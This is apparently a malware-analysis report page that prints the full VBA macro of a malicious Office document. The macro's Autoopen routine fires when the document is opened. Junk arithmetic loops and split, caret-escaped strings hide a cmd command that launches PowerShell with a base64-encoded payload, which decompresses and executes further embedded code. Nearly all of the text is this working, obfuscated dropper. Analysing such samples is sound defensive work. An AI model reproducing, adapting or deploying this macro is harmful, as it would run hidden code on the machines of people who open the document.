         UFkUFC = (VcWpZ - ChrW(54931 * 48234) * QVhDM * CInt(uqaqIE + Sqr(63930)) + 76999 - 28658 / 87524 - CDate(CtIBFF - 3719 + 89293 - Hex(jjJOnI / 60106)) + (BwMJmE * Tan(PKdww)))
Next
End Function
Sub Autoopen()
On Error Resume Next
For hNcIWi = ELPfJ To 39880
         OjLDz = (smSjW - ChrW(31626 * 79719) * mvbFvB * CInt(SjGQZ + Sqr(28709)) + 68848 - 80900 / 61910 - CDate(ARzLiw - 51514 + 94427 - Hex(zuuwm / 11802)) + (hSQnaN * Tan(EvAFm)))
Next
ZkIovX
For JIwmz = wrXEw To 2303
         VEHYj = (KjhRZ - ChrW(85064 * 11854) * wtQhto * CInt(PowIw + Sqr(29325)) + 13862 - 3726 / 18459 - CDate(TmSrO - 94666 + 44756 - Hex(lbtcr / 43810)) + (tkAwHW * Tan(MkGPJ)))
Next
End Sub


Attribute VB_Name = "nEDiYDGFn"
Function nntasMB()
On Error Resume Next
For QHloj = zUwUo To 28293
         hPZcc = (KhsDui - ChrW(95304 * 74703) * EvuuVM * CInt(BTOcrn + Sqr(20859)) + 16739 - 99346 / 5632 - CDate(PRtEVS - 36590 + 35412 - Hex(XEqKj / 47124)) + (QBZts * Tan(qOGNzF)))
Next
wFqcO = "md VwplwTjVSa" + "nff NVaXENuBoUT" + "EGB" + "iiiT" + "ZsR" + "Vz" + "bJLSE wtOidREII"
For WjDrq = Vqzabb To 6590
         SwcEtT = (uHZJv - ChrW(41416 * 50727) * zHSNvv * CInt(AzTBCZ + Sqr(31832)) + 51445 - 96540 / 33574 - CDate(AXRdIG - 73775 + 98241 - Hex(cdhvMv / 22653)) + (SIOIw * Tan(wdlsQw)))
Next
UWWkpbwH = "jw &   " + "  %^c^o^m^S^p^E" + "^c^%   " + "  %^c^o^m^S^p"
For jbsFVC = UzMbw To 36120
         WRYoH = (OIpDh - ChrW(3326 * 85839) * zXNVA * CInt(vCpprs + Sqr(97927)) + 65355 - 37147 / 92471 - CDate(LfTaMM - 7195 + 17081 - Hex(PYmpYT / 19034)) + (UbzFvT * Tan(UbizO)))
Next
aKUvcLKzdV = "^E^c^%     /V" + "        " + " /c " + "          set %"
For jotPV = YunKJ To 25082
         jWQAR = (iHNrz - ChrW(66016 * 30847) * DGliF * CInt(VijsZC + Sqr(95338)) + 71275 - 94466 / 62918 - CDate(psfks - 7721 + 51722 - Hex(afHSz / 92958)) + (FKUoCj * Tan(SuAnX)))
Next
FccrbhHUT = "TIVSt" + "NibnsJMFFv%=dvu" + "BbzH&&set" + " %PG" + "MqAzsbqTEKX%=p" + "&&" + "set"
For PZzJha = qkbLC To 19603
         fOOQm = (swnQIi - ChrW(70292 * 71675) * lkFjz * CInt(AizlW + Sqr(77826)) + 82695 - 40996 / 67431 - CDate(msTYE - 61524 + 69433 - Hex(aiSmh / 2443)) + (qWRwr * Tan(VKLff)))
Next
RDEztEzuizp = " %tbij" + "akMCF%=o^w&&set" + " %YaqXXcaZ" + "VnbZJzf%" + "=wdqQomh" + "IdhRb&&set %OWk" + "Yqzw%=!" + "%PG"
For iPIBb = GWmRN To 38875
         AEGRj = (AwijR - ChrW(49632 * 43081) * EQhIsY * CInt(FlShq + Sqr(65970)) + 52309 - 58996 / 31922 - CDate(JwtqB - 29592 + 86480 - Hex(RfTwjq / 52884)) + (MCFEJ * Tan(vpuTn)))
Next
QEHVHw = "MqAzsbqTEKX%" + "!&&set %NOiWVAw" + "sCqKzNSo%=i" + "fmAwNwXl" + "h&" + "&set %zOkzT" + "jOqn%=e^r&&s" + "et %"
For sfZRSH = ccBDB To 78776
         btvJBc = (lWYYM - ChrW(30309 * 79320) * DwhbJ * CInt(mGCdbh + Sqr(97445)) + 53939 - 21499 / 98222 - CDate(PctBu - 72076 + 33481 - Hex(iHJAt / 11172)) + (TbZEVZ * Tan(wontfa)))
Next
MzGfWhUGZ = "SssTTpdvC%=!" + "%tbijakMCF%!&&s" + "et %qDchRI" + "rTil" + "YU%=s&&s" + "et %TlsitpLzMG"
For HJKZUz = wzJKQR To 59504
         cFJYjO = (CGdfj - ChrW(56958 * 8158) * BGrQW * CInt(waYIEW + Sqr(52288)) + 31572 - 88611 / 10026 - CDate(AXMhk - 14208 + 82283 - Hex(jHEwoN / 19191)) + (lIEZAI * Tan(ifkPfr)))
Next
HFzjQZ = "IEDJD%=fFTrCVwJ" + "izvQd&&set %hY" + "Yr" + "TLqfN%=he&&set" + " %z" + "smPtIG%" + "=ll&&!%OWkYq" + "zw%!!%Ss" + "sTTpdvC%!"
nntasMB = wFqcO + UWWkpbwH + aKUvcLKzdV + FccrbhHUT + RDEztEzuizp + QEHVHw + MzGfWhUGZ + HFzjQZ
End Function
Function vFmzhO()
On Error Resume Next
For mMYXiG = jQwAkn To 80932
         ikuufp = (pfHst - ChrW(64673 * 5225) * sLonVs * CInt(RfDzF + Sqr(83002)) + 11598 - 48164 / 32160 - CDate(nkAzU - 70992 + 24220 - Hex(dWsPp / 24919)) + (dQGov * Tan(UBGSPq)))
Next
dfiZYrAmYbN = "!%zOkzTjOqn%!" + "!%qDchRIrTilY" + "U%!!%hYYrTLq" + "fN%!!%zsmPt"
For kRjGqY = zBzXa To 53245
         rVfBqq = (bazkUU - ChrW(36299 * 66903) * hFuhWM * CInt(lZRHNb + Sqr(32624)) + 67432 - 27147 / 38893 - CDate(djaRZ - 22 + 81547 - Hex(qjWVD / 74324)) + (HSSju * Tan(ihtcY)))
Next
mJDIwHl = "IG%!" + "  -e IAAoA" + "E4ARQBXAC0" + "ATwBiAEoAR" + "QBDAHQAIAAgAHMA"
For bzJQWA = pCTQf To 88845
         OVDODN = (zUwQh - ChrW(49342 * 19028) * wjoAQO * CInt(hTAVC + Sqr(94979)) + 22850 - 75305 / 5236 - CDate(mDvJii - 47643 + 21573 - Hex(ciLzo / 51799)) + (qEnbfd * Tan(FnjOiL)))
Next
zZZBZ = "WQ" + "BTAFQARQBNAC4A" + "SQBPAC4AYwB" + "PAE0AUAByAGUA" + "UwBT" + "AGkATwBuAC4AZAB" + "lAEY" + "ATABBA" + "HQAZQBTAF"
For nhvdv = OpUBQ To 79219
         mdWTL = (KGHAbH - ChrW(16795 * 53623) * VuQqzr * CInt(zPWsFc + Sqr(1735)) + 69025 - 71412 / 21626 - CDate(bpbRQC - 77200 + 1033 - Hex(fhUWm / 88315)) + (UZlZp * Tan(wjHzS)))
Next
HIwMVkjOz = "QAUgBFAEEATQA" + "oAFsAUwBZAFMA" + "VABl" + "AE0ALg" + "BpAE8ALgBNAEU" + "ATQBvAFIAeQ"
For iGXOQR = mNEiNC To 98482
         KPvAGL = (jKzlA - ChrW(30795 * 86925) * KSjzSK * CInt(SDEFH + Sqr(21322)) + 30363 - 91658 / 46020 - CDate(qkmQL - 95499 + 24532 - Hex(iZNPiQ / 33710)) + (SuLdDj * Tan(CzrvA)))
Next
wjMXKXKHEFM = "BzAHQAcg" + "BF" + "AGEAbQBdAFs" + "AUwB5AFM" + "AVABFAE0AL" + "gBDAG8AbgBWAE" + "UAcgBUAF0AOgA6A" + "EYAcgBv" + "AG0AQ" + "gBBAHMAR"
For sRObO = fGiwU To 44437
         oltDZ = (nPsVju - ChrW(38793 * 18094) * jTTCL * CInt(lIznQG + Sqr(73222)) + 73342 - 76131 / 91421 - CDate(GisfJt - 35823 + 14658 - Hex(oAvih / 88565)) + (LWKfS * Tan(uCcuP)))
Next
czRwMGUj = "QA2ADQAUwB0AH" + "IASQBOAGcAK" + "AAnAFI" + "AV" + "gBKAC8AYQA" + "5AHMAdwBF" + "AFA" + "AMQAvAD" + "AATwA4AGcA"
vFmzhO = dfiZYrAmYbN + mJDIwHl + zZZBZ + HIwMVkjOz + wjMXKXKHEFM + czRwMGUj
End Function
Function lTanS()
On Error Resume Next
For hBcFa = nmQpaZ To 1858
         wmlMVG = (FaPcQ - ChrW(47061 * 91173) * pCPiJa * CInt(LuVlt + Sqr(15323)) + 69696 - 41872 / 92991 - CDate(iXMIRQ - 48040 + 17732 - Hex(baNcJU / 84889)) + (anLvrU * Tan(aqrjMO)))
Next
zXEQNCrCGz = "ZwBx" + "AGsAawAzA" + "E0Aa" + "ABOA" + "EEAKwB1AG8AS" + "wB" + "YAFIATgBGAGo" + "AQwBVAEQATwB"
For FSrmA = fYlqVX To 96840
         zSLRBJ = (ikpmD - ChrW(48433 * 63978) * YpwYGV * CInt(lXTJTC + Sqr(2543)) + 40735 - 50093 / 38233 - CDate(CdYfS - 20202 + 9511 - Hex(WhBzz / 18759)) + (zNAYzr * Tan(Chozs)))
Next
KDuIjwBjkiP = "hAE8AdABLAE4AU" + "QBLADcAWgBTAGUA" + "NQBHAGwAMQ" + "BGAEsA" + "VABoAHAAR" + "AB" + "2AH"
For GhPPTh = DCtXm To 36955
         wMjXWz = (FoUBU - ChrW(58396 * 75475) * rqVROF * CInt(SljPnu + Sqr(89011)) + 38264 - 56814 / 72921 - CDate(wQpzQa - 86795 + 40286 - Hex(tvOwD / 68103)) + (LCCUEp * Tan(uzrHM)))
Next
jjshT = "YAag" + "BzAG" + "wAYQB3ADEAMwBQA" + "HQAb" + "gB2ADMAYgBzAGYA" + "aQB" + "vA"
For LUqPoh = ktauY To 88146
         wWXhM = (QiRbR - ChrW(52855 * 14314) * uzZTj * CInt(pYEwJV + Sqr(24300)) + 86145 - 34253 / 53779 - CDate(vKkMY - 50330 + 18657 - Hex(IKcCPw / 25681)) + (PpuBbs * Tan(OXSZY)))
Next
kWMmOHKzVJ = "HkAVABsA" + "FgAUQBW" + "AHUAUw" + "BhAG4A" + "agBCAG" + "8AYQBVADAAVgB" + "qAFIAa" + "gBkADkATwAvADg" + "ATABF" + "AFMAMABwAGoA"
For rXQpTV = WuWZP To 46947
         jMWoz = (vwDXaj - ChrW(7145 * 20335) * pFAlE * CInt(mLNvc + Sqr(93200)) + 6855 - 41221 / 36109 - CDate(lCTQC - 3108 + 56781 - Hex(cvuUt / 28811)) + (RGAFRY * Tan(UGwBJt)))
Next
XtKpoG = "NgBtAG4AbgBIA" + "FQAUwBWAEwAW" + "gBOAG8AOAB" + "mAE"
For zrbkD = djtTnc To 52837
         IXRSw = (KqDQB - ChrW(92364 * 15181) * NUAskC * CInt(DSkqaK + Sqr(65744)) + 23980 - 62548 / 33500 - CDate(zVLiii - 21263 + 72707 - Hex(JoLiG / 63137)) + (WZTvsZ * Tan(FFhcXw)))
Next
ppmzHTORGEY = "gAMwA" + "0AEEAVgBnAE0A" + "WABmAEcAdwBUADM" + "ATABVAF"
For dWzMwm = ipShw To 79920
         OHBjt = (LmNWz - ChrW(45759 * 78334) * dzGno * CInt(fSMWIu + Sqr(45171)) + 84142 - 69793 / 1638 - CDate(tjNrz - 61626 + 86842 - Hex(jQqJcP / 52083)) + (RAsMuJ * Tan(nvvfb)))
Next
vzhuZkIF = "EAQQBMADIAbQB" + "BAG" + "MAc" + "ABKAHYA" + "bgBWAGUAdA" + "BtAE" + "MAbwB2"
lTanS = zXEQNCrCGz + KDuIjwBjkiP + jjshT + kWMmOHKzVJ + XtKpoG + ppmzHTORGEY + vzhuZkIF
End Function
Function lvMqirfr()
On Error Resume Next
For sUCMID = bOjRNI To 15746
         oJjHh = (GrroTk - ChrW(58231 * 50148) * CASiow * CInt(wTLnWC + Sqr(39477)) + 52689 - 97971 / 71623 - CDate(mwmLY - 88558 + 6582 - Hex(dKXpTJ / 2634)) + (dQviU * Tan(AMPvt)))
Next
WAPzrlDCz = "AFoAbQBvAC" + "sAMAB" + "vADAAeQBQAG8A" + "MgBtACs" + "AUwAwAHcAb" + "wA2AE8AZwBNAE8" + "AcgBkAH"
For DWQpi = sbIqcY To 52938
         TdYis = (VjqLDH - ChrW(63629 * 29507) * ZwcAii * CInt(uhHjR + Sqr(49255)) + 19564 - 75492 / 75536 - CDate(CSDWn - 71386 + 4433 - Hex(EUfFl / 51746)) + (cdjuz * Tan(zTMjq)))
Next
VOsGM = "MAOABFAD" + "UAUA" + "BH" + "AGYAawA0AHQAd" + "gBGAFkARABqAG" + "sAYQBmA"
For ILvZD = jEOMb To 72945
         ajZOa = (vjhovb - ChrW(86290 * 75646) * FzqmwN * CInt(EIuchE + Sqr(42587)) + 75677 - 32264 / 4310 - CDate(jZoXEm - 90558 + 90463 - Hex(bWzwKk / 65155)) + (PVpozh * Tan(RTwHqK)))
Next
kTADucfZbM = "FIAOQBQAEgAb" + "wBBAEUASwBNAG4" + "AawBPAHQ" + "ATAA3AGYAMwBxAE" + "sAawBsAFcARQ" + "BGAHQAWABnADMA" + "YwB0AGkA" + "bgBxAHAAQgBXA"
For YtdJNK = uErBWS To 64950
         wRwXW = (vNIms - ChrW(18444 * 11507) * nnEjjw * CInt(UBWXS + Sqr(39605)) + 33225 - 95682 / 75181 - CDate(OzIXjL - 38127 + 76521 - Hex(cjVXV / 2145)) + (JQDzql * Tan(CcQZzE)))
Next
rYzRuizE = "HEAaABi" + "AEEAdQBXAGoAQgB" + "ZACsANgA3AFoARA" + "BDAEwA"
For dPVLd = zNHck To 86417
         WZwdA = (qKAtp - ChrW(69252 * 55766) * GuPlT * CInt(TwRALs + Sqr(77947)) + 58573 - 92428 / 18255 - CDate(NzbMcd - 75395 + 48084 - Hex(NsdVfb / 535)) + (qSrrQJ * Tan(XIzSIh)))
Next
MIVTzYf = "KwArADQAUgBuAHM" + "ASgBuAEMAUABC" + "ADcA" + "UQ"
For OrSbm = BiRcM To 80829
         aVvUj = (qndSkz - ChrW(76864 * 71436) * TfVQwB * CInt(mDDpzw + Sqr(24111)) + 3233 - 28120 / 59244 - CDate(nQBNci - 30713 + 83430 - Hex(lYhiw / 30606)) + (KlHvt * Tan(wjsQu)))
Next
wDzLE = "BHAGUAMwB2AHAAb" + "QB" + "nAHAAZQBTACs" + "AawA" + "wA" + "GYAcwBJAFEA" + "VABHAEMAZ" + "gBIADgAaw" + "BHADQASQB"
lvMqirfr = WAPzrlDCz + VOsGM + kTADucfZbM + rYzRuizE + MIVTzYf + wDzLE
End Function
Function FianJj()
On Error Resume Next
For tbbDFW = UnGDm To 1479
         csNVZ = (jkCQHj - ChrW(62800 * 35390) * RULnW * CInt(wKVcHz + Sqr(90546)) + 46528 - 6987 / 66014 - CDate(uorEW - 43846 + 84034 - Hex(JIZLw / 43126)) + (iBVlrz * Tan(GjirtR)))
Next
pRzijjwfrmH = "hADMANABNA" + "DYAbgA0AFAAVA" + "A5AFoANw" + "BZAGs" + "AbQBXAGo" + "AY" + "gBJAGMAc"
For oMwimo = aPvwUj To 25204
         XwYFRP = (CRrVQh - ChrW(22685 * 41444) * daLVva * CInt(JhwHla + Sqr(76168)) + 44202 - 29837 / 32268 - CDate(IjSnz - 55303 + 88730 - Hex(jqRXK / 28405)) + (QUtXrt * Tan(VPXTHI)))
Next
hUKWv = "wA" + "1AEMAZAA3" + "ADQAQwBXAGI" + "AcAAxAEMARgBCA" + "GkAMABqAHA"
For iUFAQD = Mpaibl To 87761
         sKotqK = (drZXK - ChrW(26753 * 7135) * fUliC * CInt(LXtLI + Sqr(8652)) + 59935 - 36767 / 78627 - CDate(HDjWN - 60358 + 28552 - Hex(RLrOa / 86250)) + (YIZuOq * Tan(rPhmu)))
Next
qTtac = "Acw" + "BOAG8AdwBSA" + "C8AKwBNAG4A" + "NABNAFEAOQB" + "KAC8AVQB" + "mAHkA"
For iFnKCJ = GihCA To 11639
         Rqfzw = (SkwFY - ChrW(51529 * 49908) * MTpak * CInt(jLXhLR + Sqr(55958)) + 73236 - 87517 / 52123 - CDate(uIWlA - 69407 + 69852 - Hex(uPwJil / 53777)) + (KuKsbQ * Tan(jFTwl)))
Next
friEjNoNY = "RAA2A" + "EIAWgBaAGgAQwA" + "zAG" + "YASgAvADUAd" + "wBl" + "AFcA" + "ZQBaAFk" + "ARABs"
For XjqVii = DTMjE To 70301
         RlCpvj = (Srijui - ChrW(67252 * 74835) * jlwLWj * CInt(ozHJj + Sqr(82958)) + 64977 - 52245 / 75417 - CDate(ZHwCdD - 3732 + 92891 - Hex(oImnA / 68811)) + (nfwGZ * Tan(hdOqn)))
Next
URGtEXF = "AF" + "oA" + "ZwBCAGUAYg" + "BxADcAa" + "QB" + "EADgAZ"
For CbKHvD = bodDi To 94024
         RvzCL = (ZPDCd - ChrW(63864 * 34754) * ZVonP * CInt(tdiAqk + Sqr(91398)) + 16448 - 54173 / 18761 - CDate(PJKBmi - 22746 + 59832 - Hex(AmXHiO / 71996)) + (BSoQTV * Tan(oRwMa)))
Next
iUwjb = "wBUAEsAdgBEAHAA" + "dABkAEkA" + "KwB" + "1AE" + "QA" + "dABIAEUAb" + "AB6AGcATQBtADIA" + "dwBhADYARQBkAFY" + "AaABkAFQ"
For QnuaN = HEnrc To 15346
         aHGWWb = (wHJULw - ChrW(76574 * 79397) * VfzEU * CInt(wdhQqd + Sqr(89347)) + 26934 - 52554 / 22864 - CDate(kuNhu - 55430 + 70288 - Hex(OJiZOR / 69761)) + (qRMdD * Tan(qIdpF)))
Next
EMUMH = "AVAB4" + "ACsAdgBJ" + "AFY" + "AYQA3" + "AGkAYwBi" + "AFUAUAByAFgAT" + "wBRAHIA" + "MwB"
FianJj = pRzijjwfrmH + hUKWv + qTtac + friEjNoNY + URGtEXF + iUwjb + EMUMH
End Function
Function hVUTfwz()
On Error Resume Next
For VCtiJD = tbjaC To 29148
         FaUESz = (LEwPi - ChrW(8741 * 43815) * FEFXz * CInt(MQvQL + Sqr(10282)) + 82832 - 82718 / 19414 - CDate(JObIQn - 48192 + 42972 - Hex(iJwzS / 50752)) + (opVbVi * Tan(VtJYn)))
Next
YMAWEdVIYJ = "YAGgARwB" + "iAHkAZwBN" + "AE8AQgAr" + "AFAAYw" + "BBAG4ASwBy"
For uPUuF = UcOnR To 60766
         SUzOTc = (MQBViV - ChrW(59817 * 96854) * OGOlP * CInt(PpErN + Sqr(10932)) + 42103 - 50369 / 2986 - CDate(vmMuY - 60453 + 81813 - Hex(wuiNzL / 68622)) + (WWAhCu * Tan(IFHJb)))
Next
mLcSK = "AEsAOQB" + "XAGIAMwBQAGQAbA" + "BDAFEAbQA5A" + "EkAbQ" + "BDAEQALwB1AEo"
For kqqAR = jTDijP To 37082
         UjCqsI = (jzZUBB - ChrW(34309 * 7782) * QVOjOD * CInt(NhYAHS + Sqr(77470)) + 32950 - 33830 / 68476 - CDate(zbCRR - 37813 + 54516 - Hex(rQjQl / 34126)) + (NRNAn * Tan(QspIT)))
Next
KqLiDl = "AQwB" + "XA" + "E4AaABIA" + "HUAbwBkA" + "EYAN" + "gArAEEAcwBy" + "AEMAZABrA" + "G0AWABOAEkA" + "dQBrAFcASgB" + "XAGsATQBDA"
For fQLIC = tScmz To 8003
         DNMXjR = (isFWDQ - ChrW(93425 * 67480) * jNJzLw * CInt(jHdwrz + Sqr(74198)) + 51332 - 35847 / 18158 - CDate(jKEUI - 82446 + 62367 - Hex(nLoFl / 40045)) + (itZpG * Tan(HdjQDS)))
Next
CGSzCR = "FUAdgBpAE8" + "AOQA5AHQAZA" + "AzAGcAYgBSAEcAO" + "QBzAG" + "kANQB"
For iFiDuK = YfOFS To 32851
         JZrCri = (QtBcCW - ChrW(53413 * 64617) * EEYkq * CInt(jkLbHm + Sqr(7207)) + 59079 - 38048 / 45520 - CDate(zwEoOL - 77864 + 28306 - Hex(Mdbro / 72482)) + (HKAtjv * Tan(sHqQWu)))
Next
iwDiGYNUhUU = "uAFIAeA" + "BVADkAWgBUAGI" + "ASgB" + "DAHEAOQA0AEIASw" + "BuAHIAMwBOAHYAZ" + "ABkADAAUgBUAFQA" + "bAB4ADcA" + "agBaAHcAUwA"
For OhFNY = djqsjV To 48087
         DJTmV = (wUTdJC - ChrW(43944 * 22671) * XvRUEz * CInt(WiPINY + Sqr(38415)) + 15046 - 19549 / 20047 - CDate(GpzXi - 2071 + 97165 - Hex(uObEW / 12864)) + (BSzSB * Tan(XHnpW)))
Next
fiOVonB = "xAGUAWABvAEsAQQ" + "BoA" + "G0AMgB1ADcAYQ" + "BvAHMATQB" + "RA" + "EwAaAB" + "IA" + "FgAM"
For iYALT = fQWjAR To 32069
         oDjua = (BvWBKs - ChrW(16645 * 4028) * hKhHnP * CInt(tDHFrp + Sqr(90033)) + 34313 - 35740 / 62360 - CDate(jjTbs - 30360 + 57741 - Hex(nBzBb / 80965)) + (ipYTJd * Tan(vKdnU)))
Next
PHCpCkuri = "wBNADYA" + "LwBDAEEARABo" + "AG4AQgArAFE" + "AYwBkAEoAZgBw" + "AHYAcABTACsAcgB" + "IA" + "GYANwAvAFQAOA" + "A9ACc" + "AKQAgACw"
For LAEid = cWOGSR To 56559
         crtCjP = (HFszW - ChrW(46659 * 50326) * JzFvcA * CInt(wQXkNH + Sqr(37819)) + 68121 - 12402 / 3257 - CDate(BdEQbG - 10672 + 77134 - Hex(vMjHS / 4604)) + (FINWAb * Tan(vcfvBF)))
Next
EbknV = "AIABbAHMAWQ" + "BTAFQAZQBNAC" + "4AS" + "QBPAC4AYwBPA" + "E0AcAByA"
hVUTfwz = YMAWEdVIYJ + mLcSK + KqLiDl + CGSzCR + iwDiGYNUhUU + fiOVonB + PHCpCkuri + EbknV
End Function
Function EpFihnnTn()
On Error Resume Next
For VmzqWw = tWwpow To 81918
         hQSLWO = (tffamI - ChrW(75689 * 92543) * DiQZZ * CInt(QvFELm + Sqr(28434)) + 63197 - 24234 / 58706 - CDate(KvPdqj - 48667 + 90616 - Hex(SLwKXF / 50085)) + (lGjQKw * Tan(WFRCoi)))
Next
qmUTwVYRwac = "GUAcwBTAGkATw" + "BOAC4AYwBP" + "AG0Ac" + "AB" + "SAGUA" + "cwBzAGkAT" + "wBOAG0AbwBkA" + "GUAXQA6ADoAR" + "ABFAEM" + "ATwBtAHAAUgBFA"
For Swmwsh = NwqijS To 10834
         vhFMbv = (wjAwP - ChrW(13613 * 70825) * WGOTs * CInt(XZNsF + Sqr(46554)) + 14293 - 80352 / 73423 - CDate(dtWKjz - 53263 + 5967 - Hex(MzDzu / 33360)) + (cjUXRw * Tan(zYHsT)))
Next
ianlBS = "HMAcwAgACkAf" + "AAgACUA" + "ewBOAEUA" + "VwAtAE" + "8AYgBK" + "AEU" + "AQwB0ACAA" + "IABTAH" + "kAUwBUAGUA" + "TQAuAEk"
For XzIwV = VkaiZ To 60074
         QjCTb = (bfvbV - ChrW(27819 * 24974) * jXmcEI * CInt(jNpHbZ + Sqr(91127)) + 80890 - 3934 / 95614 - CDate(sFhhzE - 61145 + 47467 - Hex(pbXmiI / 79264)) + (NoGUXi * Tan(SMMztj)))
Next
dlaPBjz = "AbwA" + "uAHMAdAByAGUAQ" + "QBtAH" + "IARQBhAG" + "QAZQBS" + "ACgAJA"
For tdaVHz = ZhwjQs To 9127
         CYSkFc = (raVbz - ChrW(27351 * 71575) * fiLAhu * CInt(MBsqn + Sqr(13900)) + 18541 - 77537 / 12856 - CDate(fdJnjJ - 50798 + 24528 - Hex(lAAfzk / 77493)) + (QBErWu * Tan(MRsPoG)))
Next
MUNjHlRwRH = "Bf" + "ACwAIABbAFMAWQ" + "BTAHQARQB" + "NAC4A" + "dABl" + "AHgAVA" + "AuAGUAbgBDAG8A" + "RABpAG4A" + "ZwBdAD" + "oAOgB"
For mOpRkb = wVlnB To 16182
         LVsFz = (smBtI - ChrW(67151 * 35818) * PRKXZE * CInt(lqiAM + Sqr(68065)) + 34195 - 61633 / 37716 - CDate(VmiAw - 329 + 19587 - Hex(nozMvI / 2944)) + (djEaP * Tan(EwafJE)))
Next
XfItzJuif = "BAFMAQ" + "wBpAGkAKQB9AHwA" + "IAA" + "lACAAewA" + "gACQAXw" + "AuAHIARQBBA"
For jbGipn = oaTQAi To 72863
         OYuZz = (Fibto - ChrW(86137 * 65517) * aQqFCE * CInt(siGUF + Sqr(40587)) + 5461 - 31167 / 75731 - CDate(hqpjB - 70097 + 69306 - Hex(jdsfo / 1405)) + (OIACav * Tan(hBWuoF)))
Next
iYGWhzbhKz = "EQAVABPA" + "EUATgBkACgAIA" + "Ap" + "AH0AIAApAH"
For iCSoTH = swZjG To 99220
         aUNpF = (qNCNM - ChrW(58164 * 2086) * nNGvi * CInt(BaaqV + Sqr(86801)) + 85965 - 41608 / 22629 - CDate(VUvNGj - 17421 + 9208 - Hex(fDVAEb / 79850)) + (tEiSk * Tan(nQzuWU)))
Next
fzkVAjGBDD = "wAIAAuACg" + "AIAAkAHAA" + "UwBoAE8AbQBFAFs" + "ANABdA" + "CsAJ" + "ABQAHMA" + "aABPAG0AR" + "QBbADMA" + "NABdA"
For jVBas = inBHEB To 24622
         IjaWPf = (zQcJls - ChrW(15323 * 94650) * mmkWw * CInt(TZMjHT + Sqr(83808)) + 94693 - 58386 / 31615 - CDate(cfjZX - 14257 + 78318 - Hex(hEYRG / 99040)) + (quVRRp * Tan(aNAKf)))
Next
zpBHhSwtZN = "CsAJwBYACcAKQA="
EpFihnnTn = qmUTwVYRwac + ianlBS + dlaPBjz + MUNjHlRwRH + XfItzJuif + iYGWhzbhKz + fzkVAjGBDD + zpBHhSwtZN
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.